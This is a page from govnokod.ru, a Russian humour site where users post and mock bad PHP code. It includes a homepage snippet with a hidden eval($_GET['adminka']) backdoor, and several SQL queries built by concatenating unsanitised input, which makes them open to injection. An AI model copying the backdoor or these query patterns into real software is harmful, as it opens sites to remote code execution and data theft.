- 1
- 2
- 3
$result = doquery("SELECT * FROM {{table}} WHERE username='".$username."';",users,true);
$username = $result['username'];
unset($result);
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−57.3
$result = doquery("SELECT * FROM {{table}} WHERE username='".$username."';",users,true);
$username = $result['username'];
unset($result);
В одной браузерной стратегии...
−53.9
$g_db->q("SELECT * FROM {$GLOBAL['db']['pref']}_volumes
WHERE `visible` != 0 AND `owner_id`={$duser['u_id']}
AND (`parent_volume`=0 OR `parent_volume`!=0)"); //<-- Чёрная магия! Не редактировать!
Без ТАКОГО последнего AND возвращает 0 строк :(
+25.8
while(!$a){
$rd = rand(1,999999);
$mdrd = md5($rd);
db_query("SELECT * FROM players WHERE mdid = '$mdrd' LIMIT 1;");
$fla = db_fetch();
if(empty($fla))
$a=1;
}
Молодость...
// Поиск уникального идентификатора для юзера в базу данных.
+44.9
if ($_name=='homepage' AND !is_numeric($_GET['id2']))
include(SITEROOT."tpl/main.php");
else
include(SITEROOT."tpl/main.php");
Устроился программистом в одну контору... Начальник дал CMS типа их собственная разработка... вот что я там увидел
+87.3
<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>
+14.4
<?
/////////////////////////////// GAME START TASOVKA //////////////////////////////////////////////////
if($page == "game_start")
{
if( isset($_SESSION["game"]) && !empty($_SESSION["game"]) )
{
session_unregister("game");
}
if( isset($_SESSION["total_price"]) && !empty($_SESSION["total_price"]) )
{
session_unregister("total_price");
}
if( isset($_SESSION["game_num"]) && !empty($_SESSION["game_num"]))
{
session_unregister("game_num");
}
if( isset($_SESSION["ticket_num"]) && !empty($_SESSION["ticket_num"]) )
{
session_unregister("ticket_num");
}
if( isset($_SESSION["for_fl"]) && !empty($_SESSION["for_fl"]) )
{
session_unregister("for_fl");
}
//---------------------------------------------------//
if( isset($_SESSION["order_res_query3"]) && !empty($_SESSION["order_res_query3"]) )
{
session_unregister("order_res_query3");
}
if( isset($_SESSION["order_res_query2"]) && !empty($_SESSION["order_res_query2"]) )
{
session_unregister("order_res_query2");
}
if( isset($_SESSION["order_res2"]) && !empty($_SESSION["order_res2"]) )
{
session_unregister("order_res2");
}
if( isset($_SESSION["order_res"]) && !empty($_SESSION["order_res"]) )
{
session_unregister("order_res");
}
if( isset($_SESSION["user_not_reg"]) && !empty($_SESSION["user_not_reg"]) )
{
session_unregister("user_not_reg");
}
if( isset($_SESSION["order_id"]) && !empty($_SESSION["order_id"]) )
{
session_unregister("order_id");
}
if( isset($_SESSION["user_edit_type"]) && !empty($_SESSION["user_edit_type"]) )
{
session_unregister("user_edit_type");
}
//---------------------------------------------------//
if( isset($_SESSION["order_date"]) && !empty($_SESSION["order_date"]) )
{
session_unregister("order_date");
}
if( isset($_SESSION["drawing_num"]) && !empty($_SESSION["drawing_num"]) )
{
session_unregister("drawing_num");
}
}
/////////////////////////////// GAME START TASOVKA //////////////////////////////////////////////////
?>
<?
/////////////////////////////// CHOSE TASOVKA //////////////////////////////////////////////////
if($page == "chose")
{
if( isset($_SESSION["order_res_query3"]) && !empty($_SESSION["order_res_query3"]) )
{
session_unregister("order_res_query3");
}
if( isset($_SESSION["order_res_query2"]) && !empty($_SESSION["order_res_query2"]) )
{
session_unregister("order_res_query2");
}
if( isset($_SESSION["order_res2"]) && !empty($_SESSION["order_res2"]) )
{
session_unregister("order_res2");
}
if( isset($_SESSION["order_res"]) && !empty($_SESSION["order_res"]) )
{
session_unregister("order_res");
+32.9
foreach(explode(' ',str_replace($symbols,'',htmlspecialchars_decode(html_entity_decode(implode(' ',$keywords))))) as $i=>$val) if(mb_strlen($val)>2) echo ', '.$val;
Массив keywords собирается в строку через запятую :)
+40.6
Application was halted by an exception.
Debug-mode is off.
Ошибка на govnokod.ru при добавлении комментариев
+30.6
$cResult = mysql_query($cQuery) or die(mysql_error());
if (mysql_num_rows($cResult) <= 0)
{
if ( $_GET['extra'] == "a" || $_GET['extra'] == 4 || $_GET['extra'] == 16 || $_GET['extra'] == "n" || $_GET['extra'] == "m" || $_GET['extra'] == "m_in_cat" )
{}
else
{
echo CAT_NO_WALP;
}
} else
{
$Row = mysql_fetch_object($cResult);
$id = $Row->id;
if ( $_GET['extra'] == "a" )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == 4 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `four_three` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `four_three` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `four_three` = '1' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == 16 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `sixteen_ten` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `sixteen_ten` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `sixteen_ten` = '1' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == "n" )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `status_NEW` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `status_NEW` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `status_NEW` = '1' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == "m" )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `poster` = '".$_SESSION['userid']."' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `poster` = '".$_SESSION['userid']."' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `poster` = '".$_SESSION['userid']."' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == "m_in_cat" )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `poster` = '".$_SESSION['userid']."' AND Category = '".$result_needed['id']."' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `poster` = '".$_SESSION['userid']."' AND Category = '".$result_needed['id']."' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `poster` = '".$_SESSION['userid']."' AND Category = '".$result_needed['id']."' ORDER BY `ID` DESC");
}
else
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `Category` = '".$id."' OR `Category` IN (SELECT `id` FROM `Categories` WHERE `Parent` = '".$id."') ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage"); ///-------------
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `Category` = '".$id."' OR `Category` IN (SELECT `id` FROM `Categories` WHERE `Parent` = '".$id."') ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `approved` = '0' AND `Category` = '".$id."' OR `Category` IN (SELECT `id` FROM `Categories` WHERE `Parent` = '".$id."') ORDER BY `ID` DESC");
}
if ( $_GET['extra'] == "a" && $_SESSION['usergroupid'] > 3 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == 4 && $_SESSION['usergroupid'] > 3 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `four_three` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `four_three` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `four_three` = '1' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == 16 && $_SESSION['usergroupid'] > 3 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `sixteen_ten` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `sixteen_ten` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `sixteen_ten` = '1' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == "n" && $_SESSION['usergroupid'] > 3 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `status_NEW` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `status_NEW` = '1' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `status_NEW` = '1' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == "m" && $_SESSION['usergroupid'] > 3 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `poster` = '".$_SESSION['userid']."' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `poster` = '".$_SESSION['userid']."' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `poster` = '".$_SESSION['userid']."' ORDER BY `ID` DESC");
}
elseif ( $_GET['extra'] == "m_in_cat" && $_SESSION['usergroupid'] > 3 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `poster` = '".$_SESSION['userid']."' AND Category = '".$result_needed['id']."' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `poster` = '".$_SESSION['userid']."' AND Category = '".$result_needed['id']."' ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `poster` = '".$_SESSION['userid']."' AND Category = '".$result_needed['id']."' ORDER BY `ID` DESC");
}
elseif ( $_SESSION['usergroupid'] > 3 elseif ( $_SESSION['usergroupid'] > 3 )
{
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `Category` = '".$id."' OR `Category` IN (SELECT `id` FROM `Categories` WHERE `Parent` = '".$id."') ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage"); ///-------------
$myresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `Category` = '".$id."' OR `Category` IN (SELECT `id` FROM `Categories` WHERE `Parent` = '".$id."') ORDER BY `ID` DESC LIMIT ".$page*$picsperpage.",$picsperpage");
$countresult = mysql_query("SELECT * FROM `Wallpapers` WHERE `Category` = '".$id."' OR `Category` IN (SELECT `id` FROM `Categories` WHERE `Parent` = '".$id."') ORDER BY `ID` DESC");
// И еще примерно столько же подобного говнеца. Сюда просто не влазит...
}
Пустые ифы, куча лишних запросов.
Очень яркий пример ИНДУСтриального программирования.
+22.9
$result = mysql_query("SELECT * FROM `Wallpapers` WHERE `Title` = '".$Title."'");
$row = mysql_fetch_assoc($result);
$wID=$row['ID'];
$Wallpaper1=$row['Wallpaper1'];
$Wallpaper2=$row['Wallpaper2'];
$Wallpaper3=$row['Wallpaper3'];
$Wallpaper4=$row['Wallpaper4'];
$Wallpaper5=$row['Wallpaper5'];
if ( $_SESSION['userid'] )
{
if ($Wallpaper1 != NULL) {
$size='';
$size=getimagesize("images/wallpapers/".$Wallpaper1);
$dHTML .= '<a class="preview" href="'.$image_path.'show/'.$Title.'/?w=1" style="text-decoration: underline;" onClick="alerts('.$wID.'); countIp();">'.$size[0].'x'.$size[1].'</a> ';
}
if ($Wallpaper2 != NULL) {
$size='';
$size=getimagesize("images/wallpapers/".$Wallpaper2);
$dHTML .= '<a class="preview" href="'.$image_path.'show/'.$Title.'/?w=2" style="text-decoration: underline;" onClick="alerts('.$wID.'); countIp();">'.$size[0].'x'.$size[1].'</a> ';
}
if ($Wallpaper3 != NULL) {
$size='';
$size=getimagesize("images/wallpapers/".$Wallpaper3);
$dHTML .= '<a class="preview" href="'.$image_path.'show/'.$Title.'/?w=3" style="text-decoration: underline;" onClick="alerts('.$wID.'); countIp();">'.$size[0].'x'.$size[1].'</a> ';
}
if ($Wallpaper4 != NULL) {
$size='';
$size=getimagesize("images/wallpapers/".$Wallpaper4);
$dHTML .= '<a class="preview" href="'.$image_path.'show/'.$Title.'/?w=4" style="text-decoration: underline;" onClick="alerts('.$wID.'); countIp();">'.$size[0].'x'.$size[1].'</a> ';
}
if ($Wallpaper5 != NULL) {
$size='';
$size=getimagesize("images/wallpapers/".$Wallpaper5);
$dHTML .= '<a class="preview" href="'.$image_path.'show/'.$Title.'/?w=5" style="text-decoration: underline;" onClick="alerts('.$wID.'); countIp();">'.$size[0].'x'.$size[1].'</a> ';
}
}